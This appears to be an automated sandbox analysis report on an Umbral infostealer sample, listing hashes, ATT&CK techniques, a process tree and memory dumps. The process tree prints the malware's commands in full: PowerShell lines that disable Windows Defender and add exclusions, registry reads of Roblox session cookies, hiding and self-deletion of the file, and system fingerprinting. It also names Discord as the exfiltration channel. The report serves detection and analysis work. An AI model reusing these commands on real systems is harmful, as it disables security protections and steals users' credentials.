umbral | 28b8e4f41d9f11d19a188dc903d3a8d37a643d5e3d61b260ddc01a4fd475b91d

Analysis

max time kernel
93s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10-05-2024 02:48

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General

Target

Excess_nls.scr
Size

247KB
MD5

7435510d618cc836b23a1bb1791b67b2
SHA1

1428f359a72436dc70e288963d6fb04387e94bd4
SHA256

28b8e4f41d9f11d19a188dc903d3a8d37a643d5e3d61b260ddc01a4fd475b91d
SHA512

5ccc5f49c7752d5367b4e7e4a858ac462e06a7eed7231b8dd96c8c441290e99e71fda3eaffec808656e7a3030c9cf476fc144a102a4ef373d7f184d40fdcfd7b
SSDEEP

6144:bloZM+rIkd8g+EtXHkv/iD46UsziAfboMxUyzzqG2b8e1mWuFeiQfWsy:5oZtL+EP86UsziAfboMxUyzzq9futQf

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4188-0-0x0000018182C50000-0x0000018182C94000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4292	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Excess_nls.scr

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5100	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2184	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4188	Excess_nls.scr
4292	powershell.exe
4292	powershell.exe
4160	powershell.exe
4160	powershell.exe
1792	powershell.exe
1792	powershell.exe
4688	powershell.exe
4688	powershell.exe
868	powershell.exe
868	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4188	Excess_nls.scr
Token: SeIncreaseQuotaPrivilege	1820	wmic.exe
Token: SeSecurityPrivilege	1820	wmic.exe
Token: SeTakeOwnershipPrivilege	1820	wmic.exe
Token: SeLoadDriverPrivilege	1820	wmic.exe
Token: SeSystemProfilePrivilege	1820	wmic.exe
Token: SeSystemtimePrivilege	1820	wmic.exe
Token: SeProfSingleProcessPrivilege	1820	wmic.exe
Token: SeIncBasePriorityPrivilege	1820	wmic.exe
Token: SeCreatePagefilePrivilege	1820	wmic.exe
Token: SeBackupPrivilege	1820	wmic.exe
Token: SeRestorePrivilege	1820	wmic.exe
Token: SeShutdownPrivilege	1820	wmic.exe
Token: SeDebugPrivilege	1820	wmic.exe
Token: SeSystemEnvironmentPrivilege	1820	wmic.exe
Token: SeRemoteShutdownPrivilege	1820	wmic.exe
Token: SeUndockPrivilege	1820	wmic.exe
Token: SeManageVolumePrivilege	1820	wmic.exe
Token: 33	1820	wmic.exe
Token: 34	1820	wmic.exe
Token: 35	1820	wmic.exe
Token: 36	1820	wmic.exe
Token: SeIncreaseQuotaPrivilege	1820	wmic.exe
Token: SeSecurityPrivilege	1820	wmic.exe
Token: SeTakeOwnershipPrivilege	1820	wmic.exe
Token: SeLoadDriverPrivilege	1820	wmic.exe
Token: SeSystemProfilePrivilege	1820	wmic.exe
Token: SeSystemtimePrivilege	1820	wmic.exe
Token: SeProfSingleProcessPrivilege	1820	wmic.exe
Token: SeIncBasePriorityPrivilege	1820	wmic.exe
Token: SeCreatePagefilePrivilege	1820	wmic.exe
Token: SeBackupPrivilege	1820	wmic.exe
Token: SeRestorePrivilege	1820	wmic.exe
Token: SeShutdownPrivilege	1820	wmic.exe
Token: SeDebugPrivilege	1820	wmic.exe
Token: SeSystemEnvironmentPrivilege	1820	wmic.exe
Token: SeRemoteShutdownPrivilege	1820	wmic.exe
Token: SeUndockPrivilege	1820	wmic.exe
Token: SeManageVolumePrivilege	1820	wmic.exe
Token: 33	1820	wmic.exe
Token: 34	1820	wmic.exe
Token: 35	1820	wmic.exe
Token: 36	1820	wmic.exe
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	4688	powershell.exe
Token: SeIncreaseQuotaPrivilege	3556	wmic.exe
Token: SeSecurityPrivilege	3556	wmic.exe
Token: SeTakeOwnershipPrivilege	3556	wmic.exe
Token: SeLoadDriverPrivilege	3556	wmic.exe
Token: SeSystemProfilePrivilege	3556	wmic.exe
Token: SeSystemtimePrivilege	3556	wmic.exe
Token: SeProfSingleProcessPrivilege	3556	wmic.exe
Token: SeIncBasePriorityPrivilege	3556	wmic.exe
Token: SeCreatePagefilePrivilege	3556	wmic.exe
Token: SeBackupPrivilege	3556	wmic.exe
Token: SeRestorePrivilege	3556	wmic.exe
Token: SeShutdownPrivilege	3556	wmic.exe
Token: SeDebugPrivilege	3556	wmic.exe
Token: SeSystemEnvironmentPrivilege	3556	wmic.exe
Token: SeRemoteShutdownPrivilege	3556	wmic.exe
Token: SeUndockPrivilege	3556	wmic.exe
Token: SeManageVolumePrivilege	3556	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4188 wrote to memory of 1820	4188	Excess_nls.scr	84
PID 4188 wrote to memory of 1820	4188	Excess_nls.scr	84
PID 4188 wrote to memory of 3792	4188	Excess_nls.scr	89
PID 4188 wrote to memory of 3792	4188	Excess_nls.scr	89
PID 4188 wrote to memory of 4292	4188	Excess_nls.scr	91
PID 4188 wrote to memory of 4292	4188	Excess_nls.scr	91
PID 4188 wrote to memory of 4160	4188	Excess_nls.scr	93
PID 4188 wrote to memory of 4160	4188	Excess_nls.scr	93
PID 4188 wrote to memory of 1792	4188	Excess_nls.scr	95
PID 4188 wrote to memory of 1792	4188	Excess_nls.scr	95
PID 4188 wrote to memory of 4688	4188	Excess_nls.scr	97
PID 4188 wrote to memory of 4688	4188	Excess_nls.scr	97
PID 4188 wrote to memory of 3556	4188	Excess_nls.scr	99
PID 4188 wrote to memory of 3556	4188	Excess_nls.scr	99
PID 4188 wrote to memory of 4056	4188	Excess_nls.scr	101
PID 4188 wrote to memory of 4056	4188	Excess_nls.scr	101
PID 4188 wrote to memory of 2640	4188	Excess_nls.scr	103
PID 4188 wrote to memory of 2640	4188	Excess_nls.scr	103
PID 4188 wrote to memory of 868	4188	Excess_nls.scr	105
PID 4188 wrote to memory of 868	4188	Excess_nls.scr	105
PID 4188 wrote to memory of 5100	4188	Excess_nls.scr	107
PID 4188 wrote to memory of 5100	4188	Excess_nls.scr	107
PID 4188 wrote to memory of 744	4188	Excess_nls.scr	111
PID 4188 wrote to memory of 744	4188	Excess_nls.scr	111
PID 744 wrote to memory of 2184	744	cmd.exe	113
PID 744 wrote to memory of 2184	744	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3792	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Excess_nls.scr
"C:\Users\Admin\AppData\Local\Temp\Excess_nls.scr" /S
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4188
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1820
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Excess_nls.scr"
  2⤵
  - Views/modifies file attributes
  PID:3792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Excess_nls.scr'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4688
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3556
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4056
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Excess_nls.scr" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:744
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
1aefe566d0c19c9e3ddaf9ea005f71c0

SHA1
8d8cfb0d2192706100eb241f38a32b31f03329f1

SHA256
dc85b671f8ebac6cfa68897b1826019925c95a5ec36676fe18ba0085f437905a

SHA512
f22782b33f7990a0783154fbe6d49e03f16c873a3b4c91f1fc5ed76d0e7b88f0df876ccdf007828ba4d9a5f97cb2362f922cbacad03de5804bc8abeb36cb2d09

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
288f76eb6350b99897bf8a40a26d7b88

SHA1
7f386d05202de2cf090bbda84d633a640730e090

SHA256
1b9a2714ecfaf4b2e7d7961d5f2537ea360ad0df46a0fa789255235b077075d1

SHA512
ffafc9d47140408afba98a9832433c0829ba696524c56d03f4ce67ae84d369c658d3a0b3cbfc62f8e5d83fc91f8f73fc1dd9a27f0deaefd1d07485a63face869

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_13jom1zg.511.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4188-71-0x000001819D410000-0x000001819D41A000-memory.dmp

Filesize
40KB

Download
memory/4188-35-0x000001819D0C0000-0x000001819D0DE000-memory.dmp

Filesize
120KB

Download
memory/4188-90-0x00007FFD08010000-0x00007FFD08AD1000-memory.dmp

Filesize
10.8MB

Download
memory/4188-72-0x000001819D440000-0x000001819D452000-memory.dmp

Filesize
72KB

Download
memory/4188-2-0x00007FFD08010000-0x00007FFD08AD1000-memory.dmp

Filesize
10.8MB

Download
memory/4188-33-0x000001819D390000-0x000001819D406000-memory.dmp

Filesize
472KB

Download
memory/4188-34-0x000001819D460000-0x000001819D4B0000-memory.dmp

Filesize
320KB

Download
memory/4188-0-0x0000018182C50000-0x0000018182C94000-memory.dmp

Filesize
272KB

Download
memory/4188-1-0x00007FFD08013000-0x00007FFD08015000-memory.dmp

Filesize
8KB

Download
memory/4292-15-0x0000017D7E840000-0x0000017D7E862000-memory.dmp

Filesize
136KB

Download
memory/4292-14-0x00007FFD08010000-0x00007FFD08AD1000-memory.dmp

Filesize
10.8MB

Download
memory/4292-3-0x00007FFD08010000-0x00007FFD08AD1000-memory.dmp

Filesize
10.8MB

Download
memory/4292-9-0x00007FFD08010000-0x00007FFD08AD1000-memory.dmp

Filesize
10.8MB

Download
memory/4292-18-0x00007FFD08010000-0x00007FFD08AD1000-memory.dmp

Filesize
10.8MB

Download